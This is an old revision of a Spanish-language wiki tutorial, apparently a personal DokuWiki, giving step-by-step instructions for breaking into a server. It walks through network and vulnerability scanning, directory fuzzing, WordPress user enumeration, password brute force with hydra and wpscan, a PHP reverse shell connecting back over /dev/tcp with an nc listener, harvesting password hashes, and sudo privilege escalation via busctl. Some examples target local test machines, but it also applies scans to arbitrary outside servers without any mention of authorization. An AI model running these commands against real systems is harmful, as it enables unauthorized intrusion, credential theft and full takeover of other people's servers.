Herramientas de usuario

Herramientas del sitio


tutorial:hacking-servidores

¡Esta es una revisión vieja del documento!


Pasos para intentar hackear un servidor

Normalmente siempre es conveniente saber cual es la ip

  • Con nslookup o host si el host no está en la red local y sólo sabemos el dominio, útil para saber en qué ubicación se encuentra, sin poner el protocolo http o https, ojo
    • nslookup dominio.com
    • host dominio.com
  • Si está en la red local se puede encontrar con:
    • sudo arp-scan -I eth0 -l
    • nmap 192.168.0.1/24 (32 bits-24 → 8, 2^8 → 256)
    • nmap 192.168.0.1-255

Ver si responde a pings y observar el trazado

  • ping -c1 192.168.0.213 -R
    PING 192.168.0.213 (192.168.0.213) 56(124) bytes of data.
    64 bytes from 192.168.0.213: icmp_seq=1 ttl=64 time=1.75 ms
    RR: 	192.168.0.93 (atacante)
    	192.168.0.213 (víctima)
    	192.168.0.213 (víctima)
    	192.168.0.93 (atacante)
     
     
    --- 192.168.0.213 ping statistics ---
    1 packets transmitted, 1 received, 0% packet loss, time 0ms
    rtt min/avg/max/mdev = 1.746/1.746/1.746/0.000 ms

Nmap

parámetros básicos y más utilizados

  • -Pn No usar ping para detectar hosts activos, porque muchos servidores lo tienen deshabilitado, no responden, nmap no continúa con el escaner e interpreta que el host no está activo
  • -n No realizar resolución dns para ahorrar tiempo (se puede resolver previamente con nslookup o host)
  • -sS escaneo rápido TCP SYN Scan para saber cuales están abiertos, requiere root, es el predeterminado, sigiloso, poco molesto y efectivo porque no completa la conexión TCP. Envía SYN y si recibe SYN/ACK interpreta que está abierto
  • -sV Detecta solo versiones, si se quiere que además detecte SO usar en vez de -sV -A
  • -sC Escaneo de script predeterminado
  • -sCV Lo mismo que poner -sC y -sV
  • -vv Aumenta el nivel de mensajes detallados
  • -p- Escaneo de todos los puertos (0 a 65 mil y pico)
  • -p- --open-- Escaneo de todos los puertos (0 a 65 mil y pico) pero que muestre sólo los abiertos
  • -p1-3500 Escaneo de un rango de puertos
  • -p22,80,443,8080 Escaneo de unos puertos concretos
  • --min-rate 6000 (6000 paquetes mínimo por segundo o los que quieras, según la velocidad de tu conexión, lógico para servidores virtualizados de prueba pero no para hacerlo con reales porque aumenta la detección, en reales se usa como máximo la opción T5 que envía unos 1000 a 2000 paquetes como máximo, y ya es muy intrusivo, normalmente se envían 200)
  • --script "vuln", --script "vuln and not intrusive" o --script "all",etc, ver todas las posibilidades, all, vuln and not auth, etc

Escaneo Básico

  • A una máquina virtual de pruebas en la red local (escaneo rápido)
    • sudo nmap -Pn -sS -n -p 22,80 -sCV -vv --min-rate 6000 192.168.0.213
  • A un servidor cualquiera fuera de la red local
    • sudo nmap -Pn -sS -n -p 22,80 -sCV -vv -T4 192.168.0.213
  • Fijarse cómo varía la velocidad del escaner si cambias parámetros, al terminar hay una línea que pone Host is up (0.00068s latency)

Escaneo de vulnerabilidades

  • sudo nmap -Pn -p22,80 --script vuln 192.168.0.227
  • sudo nmap -Pn -p22,80 --script "all and not broadcast" 192.168.0.227

Encabezados http

Ver si revela alguna información

  • curl -I http://192.168.0.227
  • curl -I http://dominio.com

Escaner Nickto

Es específico para servidores web y útil si no sabemos interpretar bien los encabezados http del comando anterior

  • Parámetros:
    • -h ip
    • -p puerto
  • Ejemplo:
    • nikto -h http://192.168.0.227 -p 80 -output scan_nikto.txt

Diccionarios y pistas

Fuerza bruta y pistas

Estructura, carpetas de seclists y archivos de interés
DiscoveryDirectorios y archivos en servidores web
Pattern-MatchingPatrones para extraer información sensible
RoutersUsuarios, contraseñas por defecto en routers
FuzzingPruebas para identificar vulnerabilidades
MiscellaneousSQL injection, cross-site scripting (XSS)
Passwords,UsernamesAtaques de fuerza bruta
User-AgentsCadenas para simular navegadores web y dispositivos
Discovery/Web-Content/Logins.fuzz.txtPaneles de login web .php,.asp,.rb,.py,logon.py etc

Descargar, conocer seclists, un conjunto de diccionarios de fuerza bruta para poder hacer fuzzing

  • gitclone https://github.com/danielmiessler/SecLists.git
  • Obtener palabras del servidor web que tal vez puedan darnos pistas
    • cewl http://192.168.0.227 -w lista_palabras.txt
    • cewl http://dominio.com -w lista_palabras.txt
    • Con las pistas más relevantes que saquemos de lista_palabras.txt y del resto analizado crear un diccionario de fuerza bruta a medida
      • princeprocessor palabras_relevantes.txt > diccionario.txt

Descargar, conocer rockyou, un diccionario para poder hacer fuerza bruta con contraseñas al panel de login, ssh, etc

  • https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt 133MB
  • rockyou2021.torrent.gz 90GB descomprimido

Hacer fuzzing

Identificar aplicaciones web instaladas, CMS

  • Hacer fuzzing para descubrir rutas, archivos de interés y CMS instalado
    • p1=directory-list-2.3-medium.txt
    • ffuf -u http://ip/FUZZ -w $p1 -ac -fw 60000-90894
    • ffuf -u http://ip/admin/FUZZ -w $p1 -ac -fw 60000-90894
    • feroxbuster -u http://pagina.com -w $p1 -o resultado.txt -x php,html,txt
  • Encontrar paneles de login (rutas por defecto de instalación)
  • Encontrar versión de CMS en el código fuente html de la página principal
  • Buscar si hay exploits para esa versión de CMS

Archivos de interés en wordpress

wp-adminRedirecciona a wp-login.php, Panel de login
wp-login.phpPanel de login
xmlrpc.phpUsado para hacer fuerza bruta con wpscan, más rápido que al panel de login con hydra
wp-config.phpContiene nombres de usuario y contraseñas de bases de datos

Buscar vulnerabilidades

Buscar vulnerabilidades para las versiones detectadas de los servicios descubiertos

  • Ejemplos
    • searchsploit apache | grep -E '2\.4.*'
    • searchsploit ssh | grep -E '9\.2.*'
    • searchsploit bludit
    • searchsploit wordpress | grep -E '7\.2.*'

Estenografía

Muchas veces hay fotografías que contienen información oculta

steghide info foto.jpg
"foto.jpg":
  formato: jpeg
  capacidad: 5,6 KB
�Intenta informarse sobre los datos adjuntos? (s/n) s
Anotar salvoconducto: 

Se puede intentar hacer fuerza bruta

stegseek foto.jpg ../Descargas/rockyou.txt 
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
 
[i] Progress: 99.75% (133.1 MB)           
[!] error: Could not find a valid passphrase.

Pasos, Fuerza Bruta y Exploits

  • Si estamos en local con una mágina de pruebas agregar en /etc/hosts el dominio a la ip de la máquina
  • Ver si hay nombre de usuario en la página principal del CMS, y ver si en el código html pone la versión
  • En wordpress
    • Encontrar cual es el directorio/página principal de wordpress (loquesea)
      • p1=seclist/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt
      • Con feroxbuster:
        • feroxbuster -u http://192.168.0.137 -w $p1 -D
      • Con gobuster:
        • gobuster dir -u http://192.168.0.137 -w $p1
        • versión vieja (2.0.1):
          • gobuster -m dir -u http://192.168.0.137 -w $p1
    • Enumerar plugins populares y usuarios:
      • wpscan --url http://pagina.es/loquesea --enumerate u,p
    • Importante → Enumerar todos los plugins (tarda)
      • wpscan --url http://pagina.es/loquesea --enumerate ap
        • ImportanteBuscar vulnerabilidades. Si en searchspoit no hay nada buscar en cuadro búsqueda de github, ej → "nombre plugin wordpress"
    • Ataque con acceso → Obtenido el nombre de algún usuario se procede:
      • 1º ataque de fuerza bruta
        • A xmlrpc.php de wordpress (que permite múltiples intentos de login en una sola solicitud.)
          • wpscan --url http://pagina.es/loquesea -U maria -P rockyou.txt
        • Al panel de login como en cualquier otro CMS (menos eficiente y más dificil de escribir)
          • Con hydra
            • data=“cadena del inspector de código de firefox del archivo login.php”
            • hydra -l pepe -P rockyou.txt url http-post-form $data
          • Con un script hecho a medida como el de Bludit
      • 2º Una vez descubierta la contraseña se explota una vulnerabilidad en la subida de archivos del CMS
        • Desde metasploit (puede ser que automáticamente cree el payload y lo suba, fácil)
          • Algunos comandos
            • search wordpress
            • use 0
            • show options
            • set, run
        • Mediante msfvenom (metasploit) creamos una imagen maliciosa, archivo binario (con payload) donde está el shell reverse
        • Escribiendo el shell reverse en un fichero php y ejecutándolo en el servidor a través de url (menos sofisticado, pero a veces funciona)
          •  <?php
            exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.0.93/8080 0>&1'");
            ?>
          • Desde nuestra máquina atacante esperamos a obtener la shell con:
            • nc -lvp 8080
          • una vez dentro se obtiene shell como usuario www-data y:
            • Se pueden encontrar los hashes de los usuarios por los archivos php del CMS incluido el del administrador y otros datos de interés /var/www/html/loquesea ya que todos los archivos del CMS tienen permisos para el usuario www-data
              • grep -irE '[a-z]+:\$' /var/www/cms/* (hashes)
              • grep -irE '[a-z]+@gmail' /var/www/cms/* (otros datos)
              • Obtenido el hash se intenta descifrar en crackstation previamente preparado con john
            • Se puede ver usuarios del sistema e información sobre ellos en /etc/passwd
            • Permisos que tienen en /etc/group
            • Se intenta hacer escalada a root
              • Vemos qué comandos puede ejecutar un usuario con privilegios de rootsudo -l (usuario con el que estamos), sudo -l -U www-data (a un usuario concreto, si somos root vemos lo de los demás) y buscamos en gtfobins cómo bypassear la restricción si es que se puede
                • (ALL : ALL) ALL
                • (ALL) NOPASSWD: ALL → El usuario puede ejecutar cualquier comando como root sin necesidad de contraseña. Escalada inmediata.
                • (pepe) NOPASSWD: /usr/bin/php → El usuario puede ejecutar php como pepe
                • (root) NOPASSWD: /usr/bin/busctl → El usuario puede ejecutar busctl como root y escalar manipulando el comando
                  • sudo busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2' https://gtfobins.github.io/gtfobins/busctl/
                • (ALL) NOPASSWD: /ruta/script.sh → El usuario puede ejecutar cualquier comando como root que haga referencia a esa ruta y puede dar un salto a root así
                  • sudo ./script.sh, donde script.sh contiene
                    •  #!/bin/bash
                      bash
sudo Ejecuta con privilegios de root (necesario para cambiar propiedades de systemd)
busctl Herramienta para interactuar con D-Bus
set-property Subcomando de busctl para cambiar una propiedad expuesta vía D-Bus
org.freedesktop.systemd1 Servicio D-Bus de systemd
/org/freedesktop/systemd1 Objeto D-Bus raíz que representa al gestor de systemd
org.freedesktop.systemd1.Manager Interfaz D-Bus que gestiona systemd, Contiene propiedades y métodos para controlar systemd (iniciar/parar servicios, cambiar configuraciones, etc).
LogLevel Propiedad que se va a modificar
s Tipo de dato: s = string (en la notación de tipos de D-Bus)
debug Nuevo valor: debug (valor de la propiedad LogLevel)
argv1=-cPrimer argumento pasado a /bin/sh, -c significa “ejecuta el siguiente comando como script
argv2='/bin/sh -iEjecuta la shell en modo interactivo
0<&2Redirige stderr a entrada estandar
1>&2Redirige Salida estandar a stdrr

…..continuará. Feliz hacking 8-)

tutorial/hacking-servidores.1750725787.txt.gz · Última modificación: 2025/06/24 02:43 por anonimo